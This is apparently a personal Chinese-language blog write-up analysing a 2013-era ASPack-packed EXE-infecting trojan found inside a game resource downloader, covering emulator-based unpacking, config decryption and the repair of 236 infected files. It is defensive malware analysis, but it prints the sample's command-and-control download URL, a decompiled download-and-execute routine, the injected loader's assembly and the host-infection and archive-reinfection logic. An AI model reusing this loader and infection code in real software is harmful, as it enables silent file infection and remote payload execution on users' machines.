一次木马逆向分析与 236 个 EXE 文件的修复记录
2026-10-13 ~ 10-14 · 工具链:IDA Pro 9.4 / Ghidra 12.1.4 / Unicorn 2.1.4 / 自研 Python 工具
样本:ZNRSXF.exe(15,872 字节,SHA-2564354970c…f2db07)
10 月 13 日,我下载了一份《攻城掠地》的单机版资源,但里面缺少前端文件。为了把资源补齐,我找来了以前用过的“起源资源下载器”。因为之前用过,当时没太在意,运行时还顺手给了它管理员权限。
过了几个小时,联想电脑管家开始陆续报木马。刚开始我以为只是误报,没急着处理。结果一直到晚上,告警还在断断续续出现。我这才去看 %TEMP% 目录里的可疑文件,先做了静态分析,又把样本提交到 360 云沙箱。结合当天运行过的软件,排查范围逐渐缩小到了那个资源下载器。
后续分析发现,样本配置的下载地址已经失效,至少这条下载链路没有继续获取到新的载荷。但它还有独立的 EXE 感染能力,实际影响远不止两次弹窗。这篇文章记录的是我从发现异常到排查机理、最终批量修复受害文件的完整过程,也算给自己留一份排查笔记。
当时最先看到的是两个文件:
ZNRSXF.exe 15,872 字节
NhlHEu.exe 15,872 字节一开始我以为是两个不同的样本。比对后才发现,它们内容完全相同,只是释放时用了不同的随机文件名;后面还找到了更多同类文件。
下面按实际排查顺序记录,关键代码与逆向数据尽量保留,方便以后复核。
静态检查与沙箱线索
我先记录了文件哈希,并检查 PE 节表,没有直接在本机盲目执行样本。
$ sha256sum ZNRSXF.exe
4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07 ZNRSXF.exe节表里有两个比较显眼的节:
.text VA=0x001000 VS=0x002000 RAW=0x000400 RS=0x001400 CH=0xe0000060
.rdata VA=0x003000 VS=0x001000 RAW=0x001800 RS=0x000600 CH=0xc0000040
.data VA=0x004000 VS=0x001000 RAW=0x001e00 RS=0x000a00 CH=0xc0000040
.reloc VA=0x005000 VS=0x001000 RAW=0x002800 RS=0x000400 CH=0xc2000040
.aspack VA=0x006000 VS=0x002000 RAW=0x002c00 RS=0x001200 CH=0xe0000060 <-- 壳代码节
.adata VA=0x008000 VS=0x001000 RAW=0x003e00 RS=0x000000 CH=0xe0000040 <-- 壳数据节结合 .aspack 与 .adata 两个节、入口 RVA 0x6001 以及原始四个节 7.0~7.8 的高熵值,可以明确样本使用了 ASPack 2.12 加壳。PE 头记录的编译时间为 2013-11-25(此时间由链接器填入,仅作参考)。
导入表里出现了 URLDownloadToFileA、SHGetSpecialFolderPathA、PathFileExistsA 和 wsprintfA。这些 API 表明程序具有下载、系统路径定位和文件操作的相关逻辑。
与此同时,我把样本提交到了 360 云沙箱。沙箱报告显示了访问 http://ddos.dnsnb8.net:799/cj//k5.rar 的网络外连线索,并提示有调用 WinRAR、释放文件、修改 EXE 及注册表操作的行为。随后我结合反编译逐项核对,避免只凭沙箱报告做猜测。
用 Unicorn 模拟执行脱壳
为什么选择模拟执行
ASPack 的常规脱壳思路是在调试器中运行到原始入口点(OEP),再 dump 内存镜像并修复导入表。但这个样本除了下载逻辑,还具备本地 EXE 感染能力。直接动态运行会增加系统的清理负担,也可能在排查过程中进一步污染其他文件。
我当时的目标只是解压出原始代码并定位 OEP,因此改用 Unicorn 模拟执行壳代码,并将外部 API 调用全部接管。这样样本在虚拟环境中解开自身,无法触碰真实的网络与文件系统。
ASPack 引导序列
看壳入口处的指令序列:
406001 pusha
406002 call loc_40600A ; call/pop 取当前 EIP
40600A pop ebp
40600B inc ebp
40600C push ebp
40600D retn
40600E call loc_406014
406014 pop ebp ; ebp = 0x406013
406015 mov ebx, 0FFFFFFEDh
40601A add ebx, ebp ; ebx = 0x406000
40601C sub ebx, 6000h ; ebx = 0x400000 <- 自行算出 ImageBase
406022 cmp dword ptr [ebp+488h], 0
406029 mov dword ptr [ebp+488h], ebx ; 写入重入标记
40602F jnz loc_406400 ; 重入分支
406035 lea eax, [ebp+494h] ; "kernel32.dll"
40603C call dword ptr [ebp+0FA9h] ; GetModuleHandleA
40604F call dword ptr [ebp+0FA5h] ; GetProcAddress 循环壳在解压前会解析三个核心 API(明文名表位于 RVA 0x6064):VirtualAlloc、VirtualFree 和 VirtualProtect。随后跳转至 0x40608D 的解压缩主循环,把原始四个节按各自 VA 还原回内存,再根据重定位到 RVA 0x6FB8 的导入描述符,逐个通过 LoadLibrary 与 GetProcAddress 填充 IAT。
搭建 Python Unicorn 模拟器
模拟执行的核心在于虚拟化内存空间并接管壳调用的 Win32 API:
uc = Uc(UC_ARCH_X86, UC_MODE_32)
uc.mem_map(0x400000, 0x9000, UC_PROT_ALL) # 按 PE 头将镜像映射到虚拟基址
uc.mem_write(0x400000, data[:0x400])
for sec in sections: # 各节按 RVA 展开
uc.mem_write(0x400000 + sec.va, sec.raw)
FAKE = 0x70000000 # 假 API 调度地址空间
uc.mem_map(FAKE, 0x10000)
# 壳的 IAT 槽位指向假地址,命中时在回调中模拟行为
for addr, name in STUB_IAT.items():
w32(uc, addr, fake_addr(name))
def on_code(uc, address, size, user):
if FAKE <= address < FAKE + 0x10000: # 命中模拟 API
handle_api(uc, address) # 读栈解析参数 -> 设置 EAX -> 弹出并返回
elif 0x401000 <= address < 0x406000: # 首次跳转到原始代码节区取指,即抵达 OEP
stop["oep"] = address
uc.emu_stop()在模拟器中:
GetProcAddress统一返回分配的假地址;VirtualAlloc由模拟器自身按需调用mem_map分配页面;VirtualProtect直接返回成功。
模拟执行完成后的输出:
stop: {'reason': 'OEP', 'oep': 0x401561}
GetProcAddress 调用 74 次,解析出 72 个导入函数最终精准捕获 OEP 为 0x401561。同时还有一个收获:壳在运行期间会逐个解析 API 名称,Hook 回调记录下了完整的符号表,这为后续重建导入表提供了依据。
重建导入表以便反编译
把解压后的四个原始节写回 PE 文件,并将入口点修改为 0x401561 后,IDA 成功识别出了 52 个函数和 122 个字符串。
但在尝试使用 Hex-Rays 反编译时,部分关键函数生成伪代码失败。
原因在于原程序的导入表已被壳移动至壳自身的节中(RVA 0x6FB8),解壳后原程序调用 API 时走的是 .rdata 中的一张函数指针表:
401018 call ds:off_403038 ; 间接指针调用导致反编译器无法直接推导签名为了让反编译引擎恢复对 API 语义的理解,我通过脚本为这批函数指针创建了跳转桩,并补全新导入表:
.rdata 里的 71 个指针 -> 改指向新节 .ithunk 中的桩
桩长 8 字节: FF 25 <IAT槽地址> ; jmp dword ptr [IAT]
新增 .idata2 节:写入完整导入表结构(72 个函数 / 7 个 DLL)重建后,反编译结果直接恢复了清晰的符号引用:
v2 = CreateFileA(path, GENERIC_READ | GENERIC_WRITE, 3, 0, OPEN_EXISTING, 0x80, 0);
...
p_UnmapViewOfFile(v4);反编译器能识别出明确的 API 签名与调用语义,省去了大量手工查表比对地址的时间。
还原内嵌配置
主流程中包含一段配置解密逻辑:
40168B push dword_404284 ; key = 0x1BC94E09
401691 mov eax, 6CCh ; len = 1740 字节
401696 mov edi, offset byte_404288
40169B call DecryptBuffer_Rolling解密算法为一个 32 位滚动密码(位于 sub_4017D0),核心变换逻辑如下:
shift = (4 * i) & 31;
v10 = (i & 1) ? ROR32(buf[i], shift) : ROL32(buf[i], shift);
buf[i] = buf[i + 1] + key + ~(key ^ v10); // 正向链式变换,依赖下一个尚未修改的双字
// 末项单独处理:
buf[n - 1] = key ^ ~ROL32(key + buf[n - 1], (4 * n) & 31);依据逆向出的算法编写 Python 脚本进行解密,提取出了内嵌的明文字符串:
[0x404688] C2 主机 : "ddos.dnsnb8.net"
[0x404708] 路径 : "cj/"
[0x404748] 载荷名 : k1.rar k2.rar k3.rar k4.rar k5.rar
[0x404948] 端口 : 799
[0x404280] 感染版本: 0x75A3拼装后的完整下载地址形式为:
http://ddos.dnsnb8.net:799/cj/k1.rar ... k5.rar在这段配置数据中,还包含一份包含 27 个目录的跳过名单:WINDOWS、System Volume Information、RECYCLER、WinRAR、Tencent、Baidu、Thunder、Local Settings 等。目标非常明确:避开系统核心目录及常见杀软与下载工具目录,专盯用户目录下的常规应用程序。
样本行为分析
核心执行流程
start (0x401561)
└─ MainWorker
├─ AntiDebug_Init 反调试检测与权限提升
├─ RegTimeCheck_RunOnce(1) 24 小时执行守卫
├─ DecryptBuffer_Rolling(1740, key) 解密配置数据
├─ CreateThread(C2DownloaderThread) 启动远端载荷下载线程
├─ LoadSelfAndSpread 读取自身并启动全盘感染
└─ RegTimeCheck_RunOnce(2) 写入运行时间戳下载逻辑与失效的 C2
wsprintfA(tmpExe, "%s%.8X.exe", g_TempPath, Random32()); // %TEMP%\A1B2C3D4.exe
wsprintfA(url, "http://%s:%d/%s/%s", host, g_C2Port, "cj/", file);
if (URLDownloadToFileA(0, url, tmpExe, 0, 0) != 0) break;
FixDownloadedPayload(host, tmpExe); // 解密并补齐 MZ 头
WinExec(tmpExe, 5); // 执行下载体远端文件虽然命名为 .rar,但其实不是压缩包,而是由「4 字节长度 + 加密正文」构成的载荷。下载完成后原地执行滚动解密,再将头部 4 字节改写为 4D 5A 90 00(即 MZ 标识加 \x90\x00),恢复为合法 PE 后通过 WinExec 启动。
24 小时时间戳守卫为何失效
函数 RegTimeCheck_RunOnce 尝试读写 HKLM\SOFTWARE\GTplus\Time,本意是在 24 小时内只执行一次全盘扫描与传播。
然而,写回时间戳的操作位于 C2 下载线程正常返回之后。而 ddos.dnsnb8.net 这个域名早在多年前便已停解析,下载线程在等待超时或网络失败后直接异常退出,导致时间戳写入代码从未被执行。
排查本机注册表时,也证实该注册表项根本不存在。正是因为这个防重入机制因网络故障而断裂,导致每次运行被感染的宿主程序时,都会无条件重新触发全盘扫描和感染,这也解释了为何管家会持续不断地告警。
反调试与权限提权
| 函数 | 实现手段 |
|---|---|
EnableSeDebugPrivilege | 通过 OpenProcessToken 与 AdjustTokenPrivileges 开启当前进程的 SeDebugPrivilege |
AntiDebug_HandleScan | 动态解析 ntdll!ZwQuerySystemInformation,传入 SystemHandleInformation (16) 遍历系统句柄,查找指向自身的调试器句柄 |
AntiDebug_NtSystemDebugControl | 动态解析 ntdll!NtSystemDebugControl,传入控制码 8 与 9,操作进程与线程内核结构偏移(+132 / +148) |
625 字节装载器
样本在感染宿主时,会在宿主末尾追加一段 625 字节的微型装载器,并将宿主 PE 的入口点重定向至此。关键逻辑如下:
; 1. 准备随机释放文件名(占位常量在感染时由父体回填)
push ebp
mov ebp, esp
sub esp, 16Ch
mov dword ptr [ebp-48h], 72534875h ; "uHSr"
mov dword ptr [ebp-44h], 652E5566h ; "fU.e"
mov word ptr [ebp-40h], 6578h ; "xe" -> 组合为 "uHSrfU.exe"
; 2. 计算末尾内嵌病毒体的起始地址(装载器末尾偏移)
call $+5
pop eax
add eax, 225h
mov [ebp-4], eax
; 3. 动态补丁:将装载器末尾的 retn 替换为跳转回宿主原入口点
mov dword ptr [eax], 0E904C483h ; 83 C4 04 E9 = add esp, 4 ; jmp rel32
mov dword ptr [eax+4], 0FFF5C2D0h ; rel32 = 原OEP - 新节RVA - 625
; 4. 通过 PEB -> Ldr 遍历导出表获取 API(明文字符串每 5 字节插入 1 字节混淆垃圾字符)
; "GetMu|R|odulu|I|eHanu|@|dleAu|7" -> GetModuleHandleA
; "WinEu|xec" -> WinExec
; "Closu|eHanu|dle" -> CloseHandle
; "Writ|u|eFil|u|eA" -> WriteFile
; "Creau|teFi|leA" -> CreateFileA
; "GetTu|empPu|athAu" -> GetTempPathA
; "lstru|catAu" -> lstrcatA
; 5. 释放病毒体并无感知拉起宿主
GetTempPathA(260, buf)
lstrcatA(buf, "uHSrfU.exe") ; %TEMP%\uHSrfU.exe
CreateFileA(buf, 0xC0000000, 0, 0, CREATE_ALWAYS, 0x80, 0)
; 在前 0x1F4 字节内匹配 "MZ"
WriteFile(h, 内嵌体, 0x3E00 /* 15872 字节 */, ...) ; 释放完整的病毒母体
CloseHandle(h)
WinExec(buf, SW_SHOW) ; 后台启动病毒
retn ; 此处在第 3 步已被动态替换为 jmp 回宿主原入口点,宿主程序继续正常启动这段装载器的设计非常具有欺骗性:用户点击受感染的程序时,病毒体被悄然释出并在后台运行,而宿主程序本身依然能正常显示窗口、响应交互,用户极难在第一时间察觉。
EXE 与 RAR 感染机制
感染普通 EXE 时,病毒会在宿主 PE 节表末尾追加一个新节,节特征固定为 0xE0000020:
newSec->Name[0..3] = ROL32(TimeDateStamp, 16) ^ 原入口点RVA; // 嵌入指纹,用于反推原入口点
*(WORD*)(newSec + 4) = 0x75A3; // 感染版本标记
newSec->Characteristics = 0xE0000020;
NumberOfSections++;
AddressOfEntryPoint = newSec->VirtualAddress;
SizeOfImage += newSec->VirtualSize;
SizeOfCode += newSec->SizeOfRawData;
SetFilePointer(文件末尾);
WriteFile(625 字节装载器);
WriteFile(自身 15872 字节母体);
FileTime_GetSet(..., 1); // 恢复原始文件修改时间戳除了直接感染磁盘上的 EXE,它还会复制系统中的 %ProgramFiles%\WinRAR\Rar.exe 到 %TEMP%\<8位HEX>.exe,对本地的压缩包进行静默感染:
rar.exe X -ibck "<压缩包>" "<临时目录>\" ; 静默解压
| 递归感染解压出的 .exe 或嵌套 .rar
rar.exe M -ibck -r -o+ -ep1 "<压缩包>" "<临时目录>\*" ; 将感染后的文件写回压缩包并覆盖
还原压缩包文件时间戳此外,病毒还会在 %SystemRoot%\system32\c_31892.nls 维护一个看似为系统代码页文件的本地感染数据库。每条记录占 6 字节:
[DWORD 路径哈希][WORD 感染版本 0x75A3]
路径哈希计算:h = 0; for (c in path) h = (BYTE)c + ROR32(h, 7);溯源:回查资源下载器
分析至此,我重新检查了最初运行的可疑源头——“起源资源下载器”。检查其 PE 结构,各项指标与上述感染器行为完全吻合:
| 检查项 | 正常程序特征 | 该下载器的实际值 |
|---|---|---|
| 节区数量 | 4 个节 | 变为 5 个节 |
| 新增节属性 | 无 | RVA 0x138000,特征 0xE0000020,节名 48 1d 74 a3 a3 75 54 00 |
| 入口点 RVA | 0x94541 | 被篡改为 0x138000 |
节偏移 0x271 起数据 | 无 | 15,872 字节,SHA-256 与 ZNRSXF.exe 逐字节一致 |
进一步验证节名中的数学关系:
| # | 指纹要素 | 算法推导 | 目标文件实际值 |
|---|---|---|---|
| 1 | 节名前 4 字节 | ROL32(TimeDateStamp, 16) ^ 原OEP = ROL16(0x5809A37D) ^ 0x94541 | 0xA3741D48 |
| 2 | 节名偏移 +4 | 感染版本常量 | 0x75A3 |
| 3 | 装载器跳转常量 | 原OEP - 新节RVA - 625 = 0x94541 - 0x138000 - 0x271 | 0xFFF5C2D0 |
传播链路彻底闭合:下载器自身早已被同种病毒感染。由于其清单(Manifest)要求 requireAdministrator,当用户以管理员权限启动它时,体内附带的装载器将 ZNRSXF.exe 释放到临时目录,随后拥有了对全盘(包括系统与 Program Files 目录)的无限制写入感染权限。
全盘扫描:236 个受害文件与免疫特征
基于病毒特征构造三因子特征检测(节特征 0xE0000020 + 版本标记字 0x75A3 + 末尾 15,872 字节与母体哈希比对),对全盘进行扫描:
C 盘: 117 个 D 盘: 58 个 E 盘: 36 个 F 盘: 25 个 -> 合计 236 个文件被感染受害者覆盖面极广,包括 dotnet\...\apphost.exe、NSIS 打包工具链、MATLAB 工具组件、Steam 游戏组件(TheForest32.exe)、英雄联盟辅助进程(LeagueCrashHandler.exe)、Python venv 环境下的 distlib\t32.exe、IDA 远程调试服务端 win32_remote32.exe 以及各类单片机串口调试工具。
为什么部分可执行文件能幸免?
逆向感染器的过滤条件发现,只有同时满足以下三个条件的 PE 文件才会被感染:
| 筛选条件 | 逆向观察与判定原因 |
|---|---|
| 必须为 32 位 PE32 | 病毒解析安全目录表(Security Directory)时硬编码使用了 PE32 的偏移;遇到 PE32+(64 位)时,该偏移正好落在了资源目录表上。绝大多数 64 位程序都带有图标或版本资源,因而被全部跳过。结果使得所有 64 位程序天然免疫 |
| 必须未签名 | 检查 Security DataDirectory 是否为 0,带有合法数字签名的程序直接跳过 |
| 无附加数据(Overlay) | 要求文件物理大小 <= 末节 PointerToRawData + SizeOfRawData,携带附加安装包数据的程序(如 NSIS/Inno 安装包)直接跳过 |
这与磁盘上的实际现象完全吻合:同一目录下的 wininst-9.0.exe(x86)被感染,而 wininst-9.0-amd64.exe(x64)完好无损;win32_remote32.exe 中招,而同目录的 win64_remote.exe 毫发无损。
编写批量反向修复脚本
许多老工具、调试器或开发环境组件已经很难找到完全一致的原始安装源,重装系统的代价过大。由于病毒的修改是结构化的,完全可以通过逆向变换,将受损的 PE 文件无损还原。
还原操作映射与九重前置校验
| 感染时的修改 | 反向修复操作 |
|---|---|
| 节表末尾追加新节表项 | NumberOfSections -= 1,将对应的 40 字节节头全部清零 |
AddressOfEntryPoint = 新节RVA | AddressOfEntryPoint = ROL32(TimeDateStamp, 16) ^ 节名前4字节 |
SizeOfImage += 新节VirtualSize | 原值减去新节的 VirtualSize |
SizeOfCode += 新节SizeOfRawData | 原值减去新节的 SizeOfRawData(原值非 0 时执行) |
| 文件尾追加装载器与母体 | 文件直接截断至新节的 PointerToRawData 处 |
| 文件修改时间戳被篡改 | 感染器已自行还原过时间戳,保持原样即可 |
为了杜绝修复脚本破坏非目标文件,脚本执行前必须通过九重互锁校验,只要有任意一项不满足即终止操作并报警:
- 最后一节特征值必须为
0xE0000020; - 节名后半部分必须为版本字
0x75A3; - 当前入口点 RVA 必须精确落在新节的虚拟地址范围内;
- 装载器内部跳转立即数必须满足自洽等式;
- 文件的实际磁盘大小必须与最后一节的物理结尾完全一致;
SizeOfImage必须大于等于原节区与新节的虚拟尺寸累加值;- PE 头中的
CheckSum必须为 0(未签名文件常规状态); - 节名异或运算能够推导出合法的 RVA;
- 还原出的原始入口点必须有效落在原有的某个可执行代码节内。
实现过程中踩到的两个细节陷阱
1. 补码符号误算
在逆向反编译代码中,特征常量显示为有符号整数 -536870880。第一版编写时随手心算成了 0xE0000060,导致脚本校验始终不通过。重新用机器转成无符号 32 位十六进制后才发现真实值是 0xE0000020。在面对底层标志位时,必须老老实实用脚本进行数值转换。
2. TimeDateStamp 为 0 时的隐藏分支
在还原入口点时,发现有 49 个文件(主要是 TDM-GCC 编译生成的 gcc.exe 等工具)校验报错。重查感染器汇编逻辑,发现它对时间戳为 0 的情况做了特殊分支处理:
v8 = *(DWORD*)(pe + 8); // TimeDateStamp
v9 = (v8 != 0) ? ROL32(v8, 16) : 2086252318; // 2086252318 = 0x7C59AF1E,并非为 0!
return v9 ^ *(DWORD*)(pe + 40); // ^ 原入口点当 TimeDateStamp == 0 时,参与异或的不是 0,而是一个内置魔数 0x7C59AF1E。补上这一分支后,236 个文件的校验全部顺利通过。
备份策略与原子写入
修复操作本质上只涉及修改文件头部前 0x400 字节(恢复 PE 头与节表),以及截断文件末尾的病毒体。备份方案据此设计:
backup/<序号>_<文件名>.hdr 前 0x400 字节头数据
backup/<序号>_<文件名>.tail 被截断丢弃的病毒尾部数据236 个文件的备份数据合计仅 3.76 MB,不仅开销极低,而且具备百分之百的可逆回滚能力。同时,文件写入遵循“写入临时文件 -> 校验完整性 -> os.replace 原子替换”的机制,避免写入过程中断产生半截损坏文件。
修复后的三重验证
修复完成后,为了确保没有破坏程序功能或遗留病毒隐患,执行了三层独立验证:
1. 本机干净副本逐字节比对
磁盘上存在大量具有多个副本的开发工具(如不同 Python 环境中的同名轮子、不同缓存中的 NSIS 模块)。我抓取了与受害文件原始尺寸一致的干净未感染副本进行二进制比对:
尺寸相同的对照对共 394 对,其中逐字节完全一致(Byte-identical)共 57 对这 57 个文件在修复后与未受感染的副本哈希 100% 相同,为修复算法的保真度提供了确凿的物理证据。(其余未完全一致的对照对属于不同构建版本的同名程序,差异点均位于编译时间戳等未修改区域)。
2. PE 结构完整性校验
结构检查通过:236 / 236所有文件的 PE 格式均能被标准解析库正确加载,节表连续且无重叠,入口点均准确落在包含 IMAGE_SCN_MEM_EXECUTE 属性的节内。抽检入口点指令,全部为合法的标准函数序言(55 8B EC 或 push ebp),未见异常断点或乱码指令。
3. 全盘复扫
使用相同的特征检测规则重新扫描所有逻辑驱动器:
全盘扫描 11,216 个 EXE 文件,耗时 304 秒,残留感染数:0系统残留排查
对系统的潜在驻留位点进行了针对性清查:
| 排查目标 | 检查方式与结果 |
|---|---|
HKLM\SOFTWARE\GTplus | 递归检索 WOW6432Node、HKCU 及 HKU,不存在 |
%SystemRoot%\system32\c_31892.nls | 检查伪装的 NLS 感染标记文件,不存在(因网络中断未执行至 RAR 感染阶段) |
%TEMP% 临时目录 | 清理并检索可疑随机命名的 .exe、.bat、.data,均已清除 |
| 自启动项(Run / RunOnce / RunOnceEx) | 逐项核对注册表键值,均为系统及合法软件项 |
| 服务与计划任务 | 枚举检查无异常项 |
AppInit_DLLs 与 IFEO 映像劫持 | 键值为空,无劫持注入痕迹 |
| 回收站 | 彻底清空,无残留副本 |
排查过程中的一段插曲:在修复中途,我发现
%TEMP%目录下突然又冒出了几个随机名木马文件,一度怀疑病毒在后台死灰复燃。
翻查管家的日志记录,发现它在零点二十多分连续拦截了 4 次。原因在于那几分钟内我曾手动运行过几个尚未修复的受害程序,每一次启动都会瞬间释放母体。此外,我第一版校验脚本曾将样本复制到临时目录做特征对比,触发了安全软件的报警。
随后我将比对逻辑全部重构为纯内存流,不再落盘。写分析工具时,工具自身的临时行为也容易造成误判。
事后回顾与排查心得
1. 感染源不一定来自新下载的文件,老工具同样可能成为运载载体
这个样本虽然具有 C2 下载能力,但这次事件中它本身是被“包裹”进合法软件内部的。一个原本功能正常的老工具在某个环节被感染后,就被当成了木马的运载火箭。排查“木马从何而来”时,不能只查网络下载记录,更要确认是否来源于自带管理员权限的存量老工具。
2. 告警中的文件名只是障眼法
每个受害者宿主内的 625 字节装载器,在释放母体时都会独立生成随机名字。我将提取出的 214 个装载器进行符号解析,还原出了 214 个释放文件名,去重后共有 213 个独立名称,几乎毫无规律可循。如果被告警弹窗中的文件名牵着鼻子走,很容易误以为系统遭遇了数十种不同木马的围攻。
3. 各司其职的逆向工具链
- ASPack 壳分析:处理自定位跳转与动态计算入口时,IDA 的流程展开和交叉引用还原表现最稳健;
- 业务逻辑分析:脱壳后的控制流与 API 行为反编译,Ghidra 的反编译器能够快速生成结构体和清晰逻辑;
- 批量验证与逆向修复:自己编写针对性的 Python 脚本比任何现成逆向软件都快且可控;
- 分析过程留痕:通过 REA 等编排工具将 IDA/Ghidra 作为后端统一调度,输出带有 digest 的 Evidence 记录,非常适合构建可复核的分析档案。
4. 具有工程说服力的排查原则
- 非必要不真机运行:利用 Unicorn 等模拟执行器解壳与追踪,既能精准锁定 OEP,又消除了实机执行带来的未知感染风险;
- 修改前严格前置自洽校验:针对二进制底层修补,校验规则宁缺毋滥,避免产生二次破坏;
- 最小化且可逆的备份策略:只备份 PE 头与尾部共 3.76 MB,既轻量又能提供 100% 的回滚底气;
- 寻求可证伪的直接证据:通过与本机未感染的干净副本做逐字节哈希比对,用最直接的物理事实证明修复的正确性。
这个样本的 PE 时间戳停留在了 2013 年,硬编码的 C2 域名也早已停机。但十余年前写就的 PE 感染代码,在被赋予管理员权限后依然能够在几秒钟内悄无声息地污染数百个本地文件。对于未经严格验证来源的工具,哪怕“以前用过”,也绝不能随手赋予管理员权限。

